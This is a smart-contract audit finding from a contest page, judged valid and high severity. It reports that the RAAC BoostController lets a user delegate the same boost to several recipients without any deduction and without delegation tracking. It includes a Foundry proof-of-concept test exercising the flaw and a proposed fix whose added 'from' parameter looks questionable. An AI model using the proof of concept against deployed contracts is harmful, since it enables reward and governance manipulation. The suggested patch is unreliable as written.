Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: high
Valid

Multiple Delegation by Double Spending Boosts and Lack of Delegation Tracking in BoostController Contract

https://github.com/Cyfrin/2025-02-raac/blob/main/contracts/core/governance/boost/BoostController.sol#L212-L235

Summary

The BoostController contract allows users to delegate their boost to multiple users without deducting the delegated amount from their own boost balance. Additionally, there is no mechanism for pools to easily track all delegates assigned to them. These issues can lead to incorrect boost calculations and operational inefficiencies.


Vulnerability Details

Explanation

1. Multiple Delegation Without Deduction

The BoostController::delegateBoost function allows a user to delegate their boost to multiple users without deducting the delegated amount from their own boost balance. This means a user can delegate the same boost amount to multiple recipients, effectively "double-spending" their boost.

2. Lack of Delegation Tracking

The contract does not provide a way for pools to easily see all delegates assigned to them. This makes it difficult to track and manage delegated boosts, leading to potential inefficiencies and incorrect calculations.

Root Cause in the Contract Function

  1. Multiple Delegation Without Deduction:

    • The delegateBoost function does not deduct the delegated amount from the user's boost balance:

      function delegateBoost(address to, uint256 amount, uint256 duration) external override nonReentrant {
      // ... (validation logic)
      UserBoost storage delegation = userBoosts[msg.sender][to];
      if (delegation.amount > 0) revert BoostAlreadyDelegated();
      delegation.amount = amount;
      delegation.expiry = block.timestamp + duration;
      delegation.delegatedTo = to;
      delegation.lastUpdateTime = block.timestamp;
      emit BoostDelegated(msg.sender, to, amount, duration);
      }
  2. Lack of Delegation Tracking:

    • The contract does not maintain a list of delegates for each pool, making it difficult to track and manage delegated boosts.


Proof of Concept

Scenario Example

  1. User Delegates Boost: User 1 delegates 100 ether of boost to User 2 and then delegates the same 100 ether of boost to User 3.

  2. No Deduction: The boost amount is not deducted from User 1's balance, allowing them to delegate the same amount multiple times.

  3. Lack of Tracking: There is no way for the pool to easily see all delegates assigned to it.

Code

The vulnerability is demonstrated in the following Foundry test suite. Convert to foundry project using the steps highlighted here. Then in the test/ folder create a Test file named BoostControllerTest.t.sol and paste the test into it. Make sure the imports path are correct and run the test using forge test --mt testDelegateBoostBug :

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "forge-std/Test.sol";
import "contracts/core/governance/boost/BoostController.sol";
import "contracts/mocks/core/pools/MockPool.sol";
import {veRAACToken} from "../../contracts/core/tokens/veRAACToken.sol";
import "contracts/core/tokens/RAACToken.sol";
contract BoostControllerTest is Test {
BoostController public boostController;
veRAACToken public veRAAC;
RAACToken public raacToken;
MockPool public mockPool;
address owner;
address[] public users;
address manager;
bytes32 public constant MANAGER_ROLE = keccak256("MANAGER_ROLE");
uint256 public constant INITIAL_MINT = 1000000 ether;
function setUp() public {
owner = address(this);
users.push(address(0x1));
users.push(address(0x2));
manager = address(0x3);
raacToken = new RAACToken(owner, 100, 50);
raacToken.setMinter(owner);
veRAAC = new veRAACToken(address(raacToken));
boostController = new BoostController(address(veRAAC));
mockPool = new MockPool();
raacToken.manageWhitelist(address(veRAAC), true);
// Setup initial token balances and approvals
for (uint256 i = 0; i < users.length; i++) {
raacToken.mint(users[i], INITIAL_MINT);
vm.prank(users[i]);
raacToken.approve(address(veRAAC), type(uint256).max);
}
boostController.grantRole(MANAGER_ROLE, manager);
vm.prank(manager);
boostController.modifySupportedPool(address(mockPool), true);
uint256 amount = 1000 ether;
uint256 duration = 365 days;
//USER 1 locks RAAC token and has veRAACToken
vm.prank(users[0]);
veRAAC.lock(amount, duration);
}
function testDelegateBoostBug() public {
uint256 amount = 100 ether;
uint256 duration = 7 days;
address user1 = users[0];
address user2 = users[1];
address user3 = address(5);
vm.startPrank(user1);
boostController.updateUserBoost(user1, address(mockPool));
(uint256 userBoostAmount,,,) = boostController.getUserBoost(user1, address(mockPool));
console.log("Initial User Boost Amount", userBoostAmount);
boostController.delegateBoost(user2, amount, duration);
boostController.delegateBoost(user3, amount, duration);
vm.stopPrank();
(uint256 userBoostAmount2,,,) = boostController.getUserBoost(user1, address(mockPool));
console.log("Final User Boost Amount", userBoostAmount2);
//Check delegation to USER2
(uint256 delegatedAmount,, address delegatedTo,) = boostController.getUserBoost(user1, user2);
//Check delegation to USER3
(uint256 delegatedAmount2,, address delegatedTo2,) = boostController.getUserBoost(user1, user3);
assertEq(userBoostAmount, userBoostAmount2);
assertEq(delegatedAmount2, delegatedAmount);
assertEq(delegatedTo, user2);
assertEq(delegatedTo2, user3);
}
}

In this test:

  • User 1 delegates 100 ether of boost to User 2 and then delegates the same 100 ether of boost to User 3.

  • The boost amount is not deducted from User 1's balance, allowing them to delegate the same amount multiple times.

  • There is no way for the pool to easily see all delegates assigned to it.


Impact

  • Incorrect Boost Calculations: Users can delegate the same boost amount to multiple recipients, leading to incorrect boost calculations.

  • Operational Inefficiency: The lack of delegation tracking makes it difficult to manage and track delegated boosts, leading to potential inefficiencies.


Tools Used

  • Foundry: Used to write and execute the test suite that demonstrates the vulnerability.

  • Manual Review


Recommendations

  1. Deduct Delegated Boost from User's Balance:

    • Update the delegateBoost function to deduct the delegated amount from the user's boost balance.

    function delegateBoost(address from, address to, uint256 amount, uint256 duration) external override nonReentrant {
    if (paused()) revert EmergencyPaused();
    if (to == address(0)) revert InvalidPool();
    if (amount == 0) revert InvalidBoostAmount();
    if (duration < MIN_DELEGATION_DURATION || duration > MAX_DELEGATION_DURATION) {
    revert InvalidDelegationDuration();
    }
    uint256 userBalance = IERC20(address(veToken)).balanceOf(msg.sender);
    if (userBalance < amount) revert InsufficientVeBalance();
    UserBoost storage delegation = userBoosts[msg.sender][to];
    if (delegation.amount > 0) revert BoostAlreadyDelegated();
    // Deduct the delegated amount from the user's boost balance
    UserBoost storage userBoost = userBoosts[msg.sender][from];
    userBoost.amount -= amount;
    delegation.amount = amount;
    delegation.expiry = block.timestamp + duration;
    delegation.delegatedTo = to;
    delegation.lastUpdateTime = block.timestamp;
    emit BoostDelegated(msg.sender, to, amount, duration);
    }
  2. Add Delegation Tracking:

    • Implement a mechanism to track all delegates assigned to a pool. This can be done by maintaining a list of delegates for each pool.

Updates

Lead Judging Commences

inallhonesty Lead Judge 3 months ago
Submission Judgement Published
Validated
Assigned finding tags:

BoostController::delegateBoost lacks total delegation tracking, allowing users to delegate the same veTokens multiple times to different pools for amplified influence and rewards

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.